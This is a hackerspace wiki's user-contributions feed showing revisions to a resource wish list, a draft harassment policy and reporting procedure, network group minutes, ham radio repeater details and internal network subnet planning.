Interlock Rochester Wiki - User contributions [en]

Resources we need or want

2011-04-20T05:22:16Z

Ben Woodruff: /* Furnishings */

=== Charitable Contributions ===
See [http://interlockroc.org/contribute http://interlockroc.org/contribute] for more information.

=== Safety Items ===
* Hearing protection (plugs/muffs)
* <S>Eye protection (facemask/teh goggles)</S>
* <S>First Aid kits</S>
* <S>Fire extinguisher</S>
* <S>Smoke Detectors</S> (ordered 4/20/11 bw)

=== Fabrication Tools ===
* <S>Drill Press - the one donated didn't have a drill</S>
* <S>Table Saw</S>
* <S>Power Drill (Corded or cordless, hammer option a plus) </S>
* <S>Drill bit set</S>
* CNC machine
* <S>Shop Vacuum</S>
* Laser Cutter/Engraver - used to make designs into tons of materials. Laptop cases, pieces of metal, cut thin wood and plastic. Usage could be sold to the public to raise money to pay for it
* Propane and propane accessories (blow torches etc) (can we get a donation from Strickland Propane?)
* Reprap - design and make 3 dimensional objects
* Spot welder (there is a maker project for this)

=== Electronics Tools ===
* <S>Oscilloscope</S>
* Multimeters
* Signal Generators
* Logic Analyzers
* Power Supplies (Lab supply from [http://www.mpja.com/prodinfo.asp?number=9600+PS MPJA] - $60)
* Breadboards
* Circuit Fabrication equipment (etchant, photoresist?)

=== Electronics & Parts ===
* [http://www.goldmine-elec-products.com/prodinfo.asp?number=G17225 Ginormous Surprise Box]
* [http://www.sciplus.com/recommend.cfm/recommendid/3501 Surprise Box of Science] (sounds like a Bill Nye thing... :-) )
* Multiple Arduino type IC's - great for learning about circuitry and random projects that come up. Could be an Arduino or one of the cheaper versions
* XBee IC's - used for making interesting wireless devices [http://www.digi.com/products/wireless/point-multipoint/xbee-series1-module.jsp link]

=== Furnishings ===
* Grill - for our summer hacker parties
* Kegerator - for our summer hacker parties
* Dark Room - for photo geeks
* <S>Lockers - members can store personal property, keep their projects out of the way, and keep track of their things easier</S>
* Bike Parking - a rack or area to keep bikes
* <S>crash pad for powernaps (comfy [expensive] furniture from [http://www.studiooneup.com/ Studio One Up])</S>
* robotic pet for artificial companionship
* spray booth - spray paint things into a well ventilated area so as not to die
* <s>big ol' whiteboard (DIY with plexiglass or [http://www.rustoleum.com/CBGProduct.asp?pid=128 Dry erase paint])</s>
* Commercial Grade coffee maker (possibly one of [http://www.amazon.com/Bunn-Commercial-Automatic-Brewer/dp/B002WPUBWS these], or at least one of [http://www.amazon.com/gp/product/B000G9WK8K/ref=pd_lpo_k2_dp_sr_1?pf_rd_p=486539851&pf_rd_s=lpo-top-stripe-1&pf_rd_t=201&pf_rd_i=B00012XCZW&pf_rd_m=ATVPDKIKX0DER&pf_rd_r=0B15WZTBBEARXDZ85CDR these]. Alternatively [http://www.amazon.com/Keurig-Single-Gourmet-Coffee-Brewing/dp/B001TKEUXI/ref=sr_1_3?ie=UTF8&s=kitchen&qid=1259736180&sr=1-3 this]) Keep in mind that the Keurig has a higher per-cup cost, wheras the Bunn units are dirt cheap, after the initial outlay of a lot of money. --[[User:Fvox13|Fvox13]] 06:15, 4 December 2009 (UTC)
* <S>Bookshelves</S>
* <S>Projector</S>
* <S>Workbenches w/ power strips and good lighting</S>
* <S>Fans and/or cooling system - it's going to be hot in the basement with no open windows. Fans or a way to keep cool would be useful.</S>

=== Computer/IT ===
* <s>Servers (P4 or better. Prefer blades)</s>
* LCD monitors - uses less energy and space, easier to use during Linux workshops
* Battery Backup System - for the servers and the network equipment. At least for integral production equipment

=== Radio (ham/amateur radio) ===
* See [[Roof antenna]]
* We will gladly accept any working ham gear in decent condition. Some of our licensed hams are completely without radios!

Resources we need or want

2011-04-20T05:20:43Z

Ben Woodruff: /* Safety Items */

=== Charitable Contributions ===
See [http://interlockroc.org/contribute http://interlockroc.org/contribute] for more information.

=== Safety Items ===
* Hearing protection (plugs/muffs)
* <S>Eye protection (facemask/teh goggles)</S>
* <S>First Aid kits</S>
* <S>Fire extinguisher</S>
* <S>Smoke Detectors</S> (ordered 4/20/11 bw)

=== Fabrication Tools ===
* <S>Drill Press - the one donated didn't have a drill</S>
* <S>Table Saw</S>
* <S>Power Drill (Corded or cordless, hammer option a plus) </S>
* <S>Drill bit set</S>
* CNC machine
* <S>Shop Vacuum</S>
* Laser Cutter/Engraver - used to make designs into tons of materials. Laptop cases, pieces of metal, cut thin wood and plastic. Usage could be sold to the public to raise money to pay for it
* Propane and propane accessories (blow torches etc) (can we get a donation from Strickland Propane?)
* Reprap - design and make 3 dimensional objects
* Spot welder (there is a maker project for this)

=== Electronics Tools ===
* <S>Oscilloscope</S>
* Multimeters
* Signal Generators
* Logic Analyzers
* Power Supplies (Lab supply from [http://www.mpja.com/prodinfo.asp?number=9600+PS MPJA] - $60)
* Breadboards
* Circuit Fabrication equipment (etchant, photoresist?)

=== Electronics & Parts ===
* [http://www.goldmine-elec-products.com/prodinfo.asp?number=G17225 Ginormous Surprise Box]
* [http://www.sciplus.com/recommend.cfm/recommendid/3501 Surprise Box of Science] (sounds like a Bill Nye thing... :-) )
* Multiple Arduino type IC's - great for learning about circuitry and random projects that come up. Could be an Arduino or one of the cheaper versions
* XBee IC's - used for making interesting wireless devices [http://www.digi.com/products/wireless/point-multipoint/xbee-series1-module.jsp link]

=== Furnishings ===
* Grill - for our summer hacker parties
* Kegerator - for our summer hacker parties
* Dark Room - for photo geeks
* <S>Lockers - members can store personal property, keep their projects out of the way, and keep track of their things easier</S>
* Bike Parking - a rack or area to keep bikes
* crash pad for powernaps (comfy [expensive] furniture from [http://www.studiooneup.com/ Studio One Up])
* robotic pet for artificial companionship
* spray booth - spray paint things into a well ventilated area so as not to die
* <s>big ol' whiteboard (DIY with plexiglass or [http://www.rustoleum.com/CBGProduct.asp?pid=128 Dry erase paint])</s>
* Commercial Grade coffee maker (possibly one of [http://www.amazon.com/Bunn-Commercial-Automatic-Brewer/dp/B002WPUBWS these], or at least one of [http://www.amazon.com/gp/product/B000G9WK8K/ref=pd_lpo_k2_dp_sr_1?pf_rd_p=486539851&pf_rd_s=lpo-top-stripe-1&pf_rd_t=201&pf_rd_i=B00012XCZW&pf_rd_m=ATVPDKIKX0DER&pf_rd_r=0B15WZTBBEARXDZ85CDR these]. Alternatively [http://www.amazon.com/Keurig-Single-Gourmet-Coffee-Brewing/dp/B001TKEUXI/ref=sr_1_3?ie=UTF8&s=kitchen&qid=1259736180&sr=1-3 this]) Keep in mind that the Keurig has a higher per-cup cost, wheras the Bunn units are dirt cheap, after the initial outlay of a lot of money. --[[User:Fvox13|Fvox13]] 06:15, 4 December 2009 (UTC)
* <S>Bookshelves</S>
* <S>Projector</S>
* <S>Workbenches w/ power strips and good lighting</S>
* Fans and/or cooling system - it's going to be hot in the basement with no open windows. Fans or a way to keep cool would be useful.

=== Computer/IT ===
* <s>Servers (P4 or better. Prefer blades)</s>
* LCD monitors - uses less energy and space, easier to use during Linux workshops
* Battery Backup System - for the servers and the network equipment. At least for integral production equipment

=== Radio (ham/amateur radio) ===
* See [[Roof antenna]]
* We will gladly accept any working ham gear in decent condition. Some of our licensed hams are completely without radios!

Reporting a Problem

2011-04-20T05:16:06Z

Ben Woodruff: Created page with "Draft. It is important for any member or guest of Interlock to know where they can report a problem should they notice one. The de facto response in any situation is to send an ..."

Draft.

It is important for any member or guest of Interlock to know where they can report a problem should they notice one. The de facto response in any situation is to send an email to the general mailing list (sign-up required). If a situation is potentially sensitive, or not for public consumption, an email can be sent to board@interlockroc.org, which will be delivered to the Board of Directors. A board member will respond and ensure the message is routed to the proper person(s).
Issues with phone or network/Internet access should be reported via email to the Network Infrastructure Group at netadmin@interlockroc.org

[[Category:Procedures]]

Sexual Harassment Policy

2011-04-20T05:09:28Z

Ben Woodruff:

''This is a draft document and has not yet been ratified.''

Interlock Rochester is committed to providing a hackerspace that is free from sexual harassment. Sexual harassment is against the law and will not be tolerated. When Interlock determines that an allegation of sexual harassment is credible, it will take prompt and appropriate corrective action.

All members and guests are required to comply with this policy. Members are also expected to behave professionally and to exercise good judgment in hackerspace-related relationships, whether with fellow members, officers, or guests. Further, all members are expected to take appropriate measures to prevent sexual harassment. Unwelcome behavior of a sexual nature should be stopped before it becomes severe or pervasive and rises to a violation of law.

== What Is Sexual Harassment? ==
Unwelcome sexual advances, requests for sexual favors, and other verbal or physical conduct of a sexual nature constitute sexual harassment when:
# A membership decision affecting that individual is made because the individual submitted to or rejected the unwelcome conduct; or
# The unwelcome conduct unreasonably interferes with an individual's use of the space or creates an intimidating, hostile, uncomfortable, or abusive environment.

Certain behaviors, such as conditioning member benefits upon acceptance of unwelcome actions of a sexual nature, are always wrong.

Unwelcome actions such as the following are inappropriate and, depending on the circumstances, may in and of themselves meet the definition of sexual harassment or contribute to an undesirable environment:
# Sexual pranks, or sexual teasing, jokes, or innuendo, in person or via electronic communication;
# Verbal abuse of a sexual nature;
# Touching or grabbing of a sexual nature;
# Repeatedly standing too close to or brushing up against a person;
# Repeatedly asking a person to socialize when the person has said no or has indicated he or she is not interested
# Giving gifts or leaving objects that are sexually suggestive;
# Making sexually suggestive gestures;
# Making or posting sexually demeaning or offensive pictures, cartoons or other materials;

A victim of sexual harassment can be a man or a woman. The victim can be of the same sex as the harasser. The harasser can be a member, guest, or other person.

== Interlock's Responsibilities Under This Policy ==
If an allegation of sexual harassment is received, or there is reason to believe sexual harassment is occurring, the officers will take the necessary steps to ensure that the matter is promptly investigated and addressed. If the allegation is determined to be credible, Interlock will take immediate and effective measures to end the unwelcome behavior. Interlock is committed to take action if it learns of possible sexual harassment, even if the individual does not wish to file a formal complaint.

The President is the main contact point for questions or concerns about sexual harassment. The President has responsibility for investigating or overseeing investigations of alleged sexual harassment. The President is committed to ensuring that all investigations of sexual harassment are conducted in a prompt, thorough, and impartial manner.

Persons who observe, are informed of, or reasonably suspect incidents of possible sexual harassment must immediately report such incidents to the President, or other officer, which will either initiate or oversee a prompt investigation. Failure to report such incidents to the President, or other officer, will be considered a violation of this policy. The President will provide guidance as needed on investigating and handling the potential harassment. All officers should take effective measures to ensure no further apparent or alleged harassment occurs pending completion of an investigation.

Interlock Rochester will seek to protect the identities of the alleged victim and harasser, except as reasonably necessary (for example, to complete an investigation successfully). Interlock will also take the necessary steps to protect from retaliation those individuals who in good faith report incidents of potential sexual harassment. It is a violation of both federal law and this policy to retaliate against someone who has reported possible sexual harassment. Violators may be subject to permanent removal from Interlock and possible action.

Persons who have been found by Interlock to have subjected another person to unwelcome conduct of a sexual nature, whether such behavior meets the legal definition of sexual harassment or not, will be subject to discipline or other appropriate action. Action will be appropriate to the circumstances, ranging from membership suspension through barring from the premises. A verbal or written admonishment, while not considered formal discipline, may also be considered.

== Member and Guest Rights and Responsibilities Under This Policy ==
Any person who believes he or she has been the target of sexual harassment is encouraged to inform the offending person orally or in writing that such conduct is unwelcome and offensive and must stop.

If the person does not wish to communicate directly with the offending person, or if such communication has been ineffective, the person is encouraged to report the unwelcome conduct as soon as possible to any officer, who will take the appropriate action.

[[Category:Policies]]

Sexual Harassment Policy

2011-04-20T05:04:23Z

Ben Woodruff: /* Interlock's Responsibilities Under This Policy */

Sexual Harassment Policy

2011-04-20T04:56:22Z

Ben Woodruff: /* What Is Sexual Harassment? */

''This is a draft document and has not yet been ratified.''

Interlock Rochester is committed to providing a hackerspace that is free from sexual harassment. Sexual harassment is against the law and will not be tolerated. When Interlock determines that an allegation of sexual harassment is credible, it will take prompt and appropriate corrective action.

All members and guests are required to comply with this policy. Members are also expected to behave professionally and to exercise good judgment in hackerspace-related relationships, whether with fellow members, officers, or guests. Further, all members are expected to take appropriate measures to prevent sexual harassment. Unwelcome behavior of a sexual nature should be stopped before it becomes severe or pervasive and rises to a violation of law.

== What Is Sexual Harassment? ==
Unwelcome sexual advances, requests for sexual favors, and other verbal or physical conduct of a sexual nature constitute sexual harassment when:
# A membership decision affecting that individual is made because the individual submitted to or rejected the unwelcome conduct; or
# The unwelcome conduct unreasonably interferes with an individual's use of the space or creates an intimidating, hostile, uncomfortable, or abusive environment.

Certain behaviors, such as conditioning member benefits upon acceptance of unwelcome actions of a sexual nature, are always wrong.

Unwelcome actions such as the following are inappropriate and, depending on the circumstances, may in and of themselves meet the definition of sexual harassment or contribute to an undesirable environment:
# Sexual pranks, or sexual teasing, jokes, or innuendo, in person or via electronic communication;
# Verbal abuse of a sexual nature;
# Touching or grabbing of a sexual nature;
# Repeatedly standing too close to or brushing up against a person;
# Repeatedly asking a person to socialize when the person has said no or has indicated he or she is not interested
# Giving gifts or leaving objects that are sexually suggestive;
# Making sexually suggestive gestures;
# Making or posting sexually demeaning or offensive pictures, cartoons or other materials;

A victim of sexual harassment can be a man or a woman. The victim can be of the same sex as the harasser. The harasser can be a member, guest, or other person.

== Interlock's Responsibilities Under This Policy ==
If an allegation of sexual harassment is received, or there is reason to believe sexual harassment is occurring, the officers will take the necessary steps to ensure that the matter is promptly investigated and addressed. If the allegation is determined to be credible, Interlock will take immediate and effective measures to end the unwelcome behavior. Interlock is committed to take action if it learns of possible sexual harassment, even if the individual does not wish to file a formal complaint.

The President is the main contact point for questions or concerns about sexual harassment. The President has responsibility for investigating or overseeing investigations of alleged sexual harassment. The President is committed to ensuring that all investigations of sexual harassment are conducted in a prompt, thorough, and impartial manner.

Persons who observe, are informed of, or reasonably suspect incidents of possible sexual harassment must immediately report such incidents to the President, which will either initiate or oversee a prompt investigation. Failure to report such incidents to the President will be considered a violation of this policy and may result in disciplinary action. The President will provide guidance as needed on investigating and handling the potential harassment. Other officers should take effective measures to ensure no further apparent or alleged harassment occurs pending completion of an investigation.

Interlock Rochester will seek to protect the identities of the alleged victim and harasser, except as reasonably necessary (for example, to complete an investigation successfully). Interlock will also take the necessary steps to protect from retaliation those individuals who in good faith report incidents of potential sexual harassment. It is a violation of both federal law and this policy to retaliate against someone who has reported possible sexual harassment. Violators may be subject to disciplinary action.

Members who have been found by Interlock to have subjected another member to unwelcome conduct of a sexual nature, whether such behavior meets the legal definition of sexual harassment or not, will be subject to discipline or other appropriate management action. Discipline will be appropriate to the circumstances, ranging from membership suspension through banning from the premises. A verbal or written admonishment, while not considered formal discipline, may also be considered.

== Member and Guest Rights and Responsibilities Under This Policy ==
Any person who believes he or she has been the target of sexual harassment is encouraged to inform the offending person orally or in writing that such conduct is unwelcome and offensive and must stop.

If the person does not wish to communicate directly with the offending person, or if such communication has been ineffective, the person is encouraged to report the unwelcome conduct as soon as possible to any officer, who will take the appropriate action.

Sexual Harassment Policy

2011-04-20T04:52:57Z

Ben Woodruff: /* What Is Sexual Harassment? */ removed some specificity to avoid argument based on location of the offense or type of undesirable environment created

''This is a draft document and has not yet been ratified.''

Interlock Rochester is committed to providing a hackerspace that is free from sexual harassment. Sexual harassment is against the law and will not be tolerated. When Interlock determines that an allegation of sexual harassment is credible, it will take prompt and appropriate corrective action.

All members and guests are required to comply with this policy. Members are also expected to behave professionally and to exercise good judgment in hackerspace-related relationships, whether with fellow members, officers, or guests. Further, all members are expected to take appropriate measures to prevent sexual harassment. Unwelcome behavior of a sexual nature should be stopped before it becomes severe or pervasive and rises to a violation of law.

== What Is Sexual Harassment? ==
Unwelcome sexual advances, requests for sexual favors, and other verbal or physical conduct of a sexual nature constitute sexual harassment when:
# A membership decision affecting that individual is made because the individual submitted to or rejected the unwelcome conduct; or
# The unwelcome conduct unreasonably interferes with an individual's use of the space or creates an intimidating, hostile, uncomfortable, or abusive environment.

Certain behaviors, such as conditioning member benefits upon acceptance of unwelcome actions of a sexual nature, are always wrong.

Unwelcome actions such as the following are inappropriate and, depending on the circumstances, may in and of themselves meet the definition of sexual harassment or contribute to a hostile work environment:
# Sexual pranks, or repeated sexual teasing, jokes, or innuendo, in person or via e-mail;
# Verbal abuse of a sexual nature;
# Touching or grabbing of a sexual nature;
# Repeatedly standing too close to or brushing up against a person;
# Repeatedly asking a person to socialize when the person has said no or has indicated he or she is not interested
# Giving gifts or leaving objects that are sexually suggestive;
# Repeatedly making sexually suggestive gestures;
# Making or posting sexually demeaning or offensive pictures, cartoons or other materials;

A victim of sexual harassment can be a man or a woman. The victim can be of the same sex as the harasser. The harasser can be a member, guest, or other person.

== Interlock's Responsibilities Under This Policy ==
If an allegation of sexual harassment is received, or there is reason to believe sexual harassment is occurring, the officers will take the necessary steps to ensure that the matter is promptly investigated and addressed. If the allegation is determined to be credible, Interlock will take immediate and effective measures to end the unwelcome behavior. Interlock is committed to take action if it learns of possible sexual harassment, even if the individual does not wish to file a formal complaint.

The President is the main contact point for questions or concerns about sexual harassment. The President has responsibility for investigating or overseeing investigations of alleged sexual harassment. The President is committed to ensuring that all investigations of sexual harassment are conducted in a prompt, thorough, and impartial manner.

Persons who observe, are informed of, or reasonably suspect incidents of possible sexual harassment must immediately report such incidents to the President, which will either initiate or oversee a prompt investigation. Failure to report such incidents to the President will be considered a violation of this policy and may result in disciplinary action. The President will provide guidance as needed on investigating and handling the potential harassment. Other officers should take effective measures to ensure no further apparent or alleged harassment occurs pending completion of an investigation.

Interlock Rochester will seek to protect the identities of the alleged victim and harasser, except as reasonably necessary (for example, to complete an investigation successfully). Interlock will also take the necessary steps to protect from retaliation those individuals who in good faith report incidents of potential sexual harassment. It is a violation of both federal law and this policy to retaliate against someone who has reported possible sexual harassment. Violators may be subject to disciplinary action.

Members who have been found by Interlock to have subjected another member to unwelcome conduct of a sexual nature, whether such behavior meets the legal definition of sexual harassment or not, will be subject to discipline or other appropriate management action. Discipline will be appropriate to the circumstances, ranging from membership suspension through banning from the premises. A verbal or written admonishment, while not considered formal discipline, may also be considered.

== Member and Guest Rights and Responsibilities Under This Policy ==
Any person who believes he or she has been the target of sexual harassment is encouraged to inform the offending person orally or in writing that such conduct is unwelcome and offensive and must stop.

If the person does not wish to communicate directly with the offending person, or if such communication has been ineffective, the person is encouraged to report the unwelcome conduct as soon as possible to any officer, who will take the appropriate action.

Network Infrastructure Group

2011-04-13T15:18:16Z

Ben Woodruff: /* Meeting Agenda / Minutes */

=Network Infrastructure Group=

The network infrastructure group is a project group that is responsible for designing and implementing networks for Interlock, as well as keeping the [[Infrastructure#Network]] wiki page updated, and creating and maintaining the [[Network_acceptable_use_policy|network acceptable use policy]].

== Current Projects ==
(projects approved by the group)
* LDAP services

== Proposed Projects ==
* [[ChaosVPN]]
* Define network infrastructure group
* Labeling network jacks
* Documentation
** Network
** Services
** Diagrams (Physical, logical)
** Password
** Inventory
* Phone System
* IDS/IPS
* A/V Link

= Meeting Agenda / Minutes =
== 2011-04-07 ==
* Begin planning of possible isolation of project network from production environment.
** Agreed to split project network into two networks: the project network as it exists now will become the "development" network, and a new "project" network will be created by Chris that more closely resembled the warzone (without the open warfare)
* LDAP update - you know who you are.
** Progress has been made, no ETA yet
* ESX updates - will be going over more technical description of what available.
** Bill gave us a brief intro to what he has been working on with our VMWare environment. Will be having a class for people who wish to admin the setup within the next few months
== 2011-03-03 ==
* LDAP
** John is going to take over the task
** We gave him feedback on properties that would be needed
** Web interface - need volunteer to design
* Status of our ESX ecosystem
** Wishlist
*** Will review hardware
**** Looks good but add PCI-Express Intel NIC (est. $60) and consider hard drive choice
** Next big project expense after SDR?
*** Possibly but bring to the whole group
** Need a volunteer to be another admin on the ESX boxes, currently Bill is only admin - GOOD TRAINING!
* Routing and switching
** Would like someone to review our setup and make recommendations (looking for volunteers)
*** No immediate volunteers but suggestion to setup some monitoring tools (see below)
* Services
** Am building a bind, dhcpd, and other services environment, if anyone would like to help I could use them
*** Carl and John will take a look as well
** Goals: get services off pfSense, have failover, generally be robust
* Monitoring
** Discussion on tools and implementation
*** MRTG, snort, OSSIM, etc
* Open forum
** Change MAC address on Doorduino
*** There is a private space to pick from (John will pick one)
** Meraki
*** Move to 3rd floor or roof
*** Talk to Larry (Ben)
*** Possibly deploy more
*** Consider renewing the license (donations coming from it should cover it)

== 2010-12-02 ==
* phone update
** successfull established a trunk to HackPGH
** need to open up more ports
** we will pick up a pay phone in March
** need to get a POTS card
** Q: can we proxy SIP? A: Sure but haven't found a free one
** Q: should we set up an XX-NNNN where everyone has the same XX or should XX be changed based on the hackerspace you're calling? A: ...
* chaosVPN
** Q:where to implement ChaosVPN A: Warzone goes on pfsense, openctf subnet routed to warzone
* labeling
** start but we got distracted
* ldap
** Joe will be doing the LDAP server
* documentation
** could be dependant on ldap server
* pfsense infrastructure
** ?Need Intel pro card
* documentation
** need policies, procedures, and statement of what needs to be documented
** put stuff on wiki
* AV link
** haven't seen Drew in a while
** not sure of the status
* Meraki Service Policy
** Q: How do we handle support? A: we don't support it
** Q: How is money handled? A: Steve gets money and he donates it
** Bill will donate his access point to the cause
* repo mirror
** yep but internal only. Details to be decided by interested parties
* monthly password
** password is going to be changed after the first friday

Amateur radio

2011-04-11T22:49:47Z

Ben Woodruff: /* what we do */

== who we are ==
Interlock has a number of licensed ham radio operators including:
* [[User:Justbill | Bill]], KC2YPJ (General)
* [[User:Ben_Woodruff | Ben]], N0BDW
* [[User:Dhraakellian | Nick]], KC2YTG
* [[User:IGadget | Rowan]], KC2KPI (General)
* [[User:Fvox13 | Steve]], KC2YTC
* [[User:Berticus | Brian]], KC2VVD
* [[User:jkl | John]], N2PMP (Extra)
* [[User:alvarop | Alvaro]], KC2VVE
* [[User:BinaryMan | Chris]], N2CDO
* Tim, KB1POP (General)
* [[User:Von | Von]], KZ2VON (General)
* [[User:Warthurton | warthurton]], KC2ZPO (General)

== what we do ==
We generally hang out on the Xerox repeater, KE2MK/R, as it is one of the few repeaters we are able to work on 2M/440 from rubber duck antennas on HTs from inside Interlock. We also occasionally use the Harris repeater.

As of late the XARC repeater has been having some difficulties and so we are hanging out on MCARES/N2MPE (146.61) until the issues are resolved.

=== Xerox ARC Repeater ===
* Output: 145.29 (you listen on this frequency)
* Input: 144.69 (you transmit on this frequency) - negative offset
* Output: 444.825
* Input: 449.825 - positive offset
* No PL tone required (RX PL 110.9 works to cut down intermod)
* Echolink node #44856

=== MCARES Repeater ===
* Output: 146.610
* Input: 146.010 (negative offset)
* TX PL 110.9 (no RX PL)
* No Echolink / IRLP but does have multiple receivers around Monroe County
* Call sign is N2MPE, only IDs in morse. No roger beep. Control Op is Tony DiLettera from Radio Center.

=== Interlock Simplex ===
* Frequency: 442.420 (110.9 PL TX/RX)
* Note: this frequency is outside the normal step for 70cm, so you make have to do something funky to get your radio to tune it (like change your step for 70cm to 5Hz)
* Ben will occasionally crossband repeat to/from one of the local repeaters (usually MCARES, see above) on this frequency so that those in the space can take advantage of the higher power transmitter. Please be careful to make sure this is not the case before attempting to use this as a simplex frequency.

Xerox used to be Echolink enabled but is no longer. JD used to run Echolink on it over RF and may allow Interlock to run a similar setup, once we have an antenna. Information is flowing slowly on this though.

None of our official unofficial repeaters support IRLP. Some of the other local repeaters do. If you are interested in IRLP, check out this site for a brief introduction on how to use it: http://k3bay.com/html/irlp.php

== projects ==
=== antenna building ===
We have ordered the parts needed to build [http://home.comcast.net/~buck0/ll_coolj.html 2-meter j-pole antennas]. We will be assembling them next Make Night, Thursday July 8th.
Update: Antenna make night was a success. Thanks to all who attended. Please watch for similar events in the future!

=== [[roof antenna]] ===
We have permission from Maguire to install an antenna on the roof as long as it is free-standing (ie, we don't bolt it to the roof). Also, the feed line can't whip in the wind or whack up against the building (so it needs to be secured somehow -- conduit?).

=== [[ultimate ham station]] ===

=== [[rochester repeater guide]] ===

=== [[general ham supplies]] ===
Let's pass the hat around to purchase some supplies for use at the space: powerpoles, cabling, adaptors, etc.

Infrastructure

2011-04-11T20:27:34Z

Ben Woodruff: /* Network */

=Interlock Rochester Infrastructure=

{| class="wikitable" border="1"
|-
! Sub-group !! Lead !! Members
|-
| Power || [[User:JustBill|JustBill]]
|-
| Environment ||
|-
| [[Hackerspace_Security_System|Security]] || [[User:Antitree|Mark Manning]]
|-
| Inter-hackerspace Communication || [[User:Antitree|Mark Manning]] || [[User:Ben Woodruff|Ben Woodruff]]
|-
| [[Network Infrastructure Group|Network]] || [[User:Ben Woodruff|Ben Woodruff]] || [[User:JustBill|JustBill]], [[User:Antitree|Mark Manning]]
|-
|}

=Power=
Overhead cord reels are a solution, but they must not remain plugged in at their source when not in use in order to comply with fire code. Cable trays are not a good solution for power. (They are a pain in the ass.)

=Environmental=
The space will need to have environmental controls in the event that servers will be kept in location. The general operating temperature of servers and network equipment should be around 75F. In order to ensure this, the purchase of an AC system may be necessary depending on what projects we approve.

'''Things we may need to acquire:'''
*<s>Heater</s> <-- Heat is included
*Air Conditioner
*Dehumidifier
*<s>Thermostat/Thermometer</s> <-- Usually bundled with AC

==Recycling==
We don't want to horde a bunch of stuff that will never get used, but things that are likely to get recycled (especially scraps of raw materials) we should hold on to. This not only potentially benefits the environment, it's in our best interest from a costs perspective as well.

=Network=

<s>See [[Phase 0 Networking]]</s>

See [[networking wish list]]

The network infrastructure group will create and maintain the [[network acceptable use policy]]. The policy will be approved by the board of directors and then signed by every member who wants access to any of the following networks.

The network is broken down into 4 smaller networks:
* Production
* Development
* Project
* Warzone

== Subnets ==
{| class="wikitable" border="1"
|-
! if !! VLAN !! Network/Mask !! Name !! Description
|-
| || || '''10.10.0.0/22''' || '''Production''' || '''Supernet slice for all production networks''' (not actually routed)
|-
| OPT100 || 100 || 10.10.0.0/24 || Core || Core Equipment management (routers, [[Network Switch Configuration|switches]], etc)
|-
| OPT101 || 101 || 10.10.1.0/24 || Servers || Servers (LDAP, SSH, file, etc - assuming not provided by router)
|-
| OPT102 || 102 || 10.10.2.0/25 || Wired Hosts || Shared workstations / ... wired hosts?
|-
| OPT103 || 103 || 10.10.3.0/24 || Wireless Hosts || Registered member laptops (currently members do not have to register their laptops)
|-
| OPT104 || 104 || 10.10.4.0/24 || Wireless Guests || Event participants, class registrants, etc - has captive portal enforced by the Meraki WAP
|-
| OpenVPN || 105 || 10.10.5.0/24 || Production VPN clients || Network administration & remote access
|-
| OPT200 || 200 || '''10.200.0.0/16''' || '''Development''' || '''Network specific for testing services and projects. Should be sliced further to /24 subnets as needed'''
|-
| OPT500 || 500 || '''10.50.0.0/24''' || '''Project''' || '''(In Progress) - Network for whatever. Stuff that we don't want on project/development but also isn't suited for the warzone.'''
|-
| OPT1000 || 1000 || '''10.100.42.0/23''' || '''Warzone''' || '''A place where invasive network attacks ''will'' occur. May also have VPN links to other hackerspaces (both in the US and abroad).''' Currently routed through it's own router, which is the 192.168.1.x network. If we eventually run through the pfSense box the IP scheme will be in the 10.100.42.x range
|}

See [[Network Switch Configuration]] for more details. Development, Project, and Warzone may have undocumented subnets / VLANs beneath them.

Last updated: --[[User:Ben Woodruff|-- BW]] 13:10, 11 April 2011 (PDT)

== Internet ==

We have decided on Frontier Business DSL for our internet connection. The contract has been signed and services are in place.

==Production==
The production network will be the main segment and will provide network access to Interlock's members. This network will be subdivided into 5 separate subnets, to help manage IP growth, and secure vital systems. The production network will not be used to perform penetration testing or other white hat hacking (port scans, IP sweeps, DoS, etc). The production network must have reliable uptime, as that other members will be dependent on it.

=== Change Control ===
The infrastructure group will need to determine a method to log changes to the network. A consensus must be reached within the group before any change can be done on the production network. Change management will ''loosely'' follow [http://en.wikipedia.org/wiki/Change_Management_%28ITSM%29 ITIL Recommendations].

== Planning ==
(not necessarily implemented)

=== Access ===
Access to core network equipment and topology will be restricted to those in the infrastructure group.

=== Services ===
* RADIUS/LDAP Server
** Central Authentication repository
** Should be linked with Google Apps

* Web Server
** Host the wiki, website, etc

* CoLo Boxes
** Not intended to host production/high bandwidth websites
** Used for offsite backup

* DHCP Server
** IP addresses will only be given out to know and trusted network adapters.
** A device registration system, like RIT's start.rit.edu, would be useful

* DNS Server

* File Server
** Access via SFTP, SMB, or WebDAV possibly

* VPN Server
** Provide VPN access to the network. This needs to be decided as to whether this will be implemented, and the scope of the build.

* Streaming Music Server
** Use a AirPort Extreme AP to play music via AirTunes

* Image Server
** RIS or Ghost

==Development==
* Each project should claim an address space (ie 172.25.15.y) so we can tell what traffic is coming from which projects
* Temporary, dynamic, but more static and stable than the warzone
* Change management much more loose than production network but there should be some expectation of reliability so please at least check with someone unless you're very sure of what you're doing
* Access to the internet
* Area to play with an test new technologies (for example, play with VOIP/SIP)

==Project==
* No expectation of reliability
* Open access to equipment / no change management
* No probing / pen testing (unless you have permission)
* Can be used to setup non-critical projects that do not require the stability of the production network
* Dynamic

==[[Warzone]]==
* No expectation of reliability
* Relatively open access to equipment / no change management
* No expectation of structure, very dynamic depending on project use etc, may use different IP address schemes
* Expect to have equipment probed / pen tested
* ChaosVPN endpoint/node (link to other hackerspaces)
* "Rogue" access points allowed (maybe include DHCP message that states you'd better be sure you want to connect to this network - want to be friendly with our neighbors)

=Audio-Visual System=

'''Audio'''
*[http://www.bhphotovideo.com/c/product/541197-REG/Bogen_Communications_S810T725PG8W_Ceiling_Speaker_Assembly_with.html Public Address] system array across the ceiling
*Two speakers rigged to the top corners of the room
*Surround sound rigged to the top of the room (low priority)
*Inputs to an audio mixer/home receiver
*Sources: Microphone, CD/DVD, computers

'''Video'''
*Ceiling mounted projection
*Screen
*Sources: DVD, computers

Infrastructure

2011-04-11T20:26:37Z

Ben Woodruff: /* Interlock Rochester Infrastructure */

=Interlock Rochester Infrastructure=

{| class="wikitable" border="1"
|-
! Sub-group !! Lead !! Members
|-
| Power || [[User:JustBill|JustBill]]
|-
| Environment ||
|-
| [[Hackerspace_Security_System|Security]] || [[User:Antitree|Mark Manning]]
|-
| Inter-hackerspace Communication || [[User:Antitree|Mark Manning]] || [[User:Ben Woodruff|Ben Woodruff]]
|-
| [[Network Infrastructure Group|Network]] || [[User:Ben Woodruff|Ben Woodruff]] || [[User:JustBill|JustBill]], [[User:Antitree|Mark Manning]]
|-
|}

=Power=
Overhead cord reels are a solution, but they must not remain plugged in at their source when not in use in order to comply with fire code. Cable trays are not a good solution for power. (They are a pain in the ass.)

=Environmental=
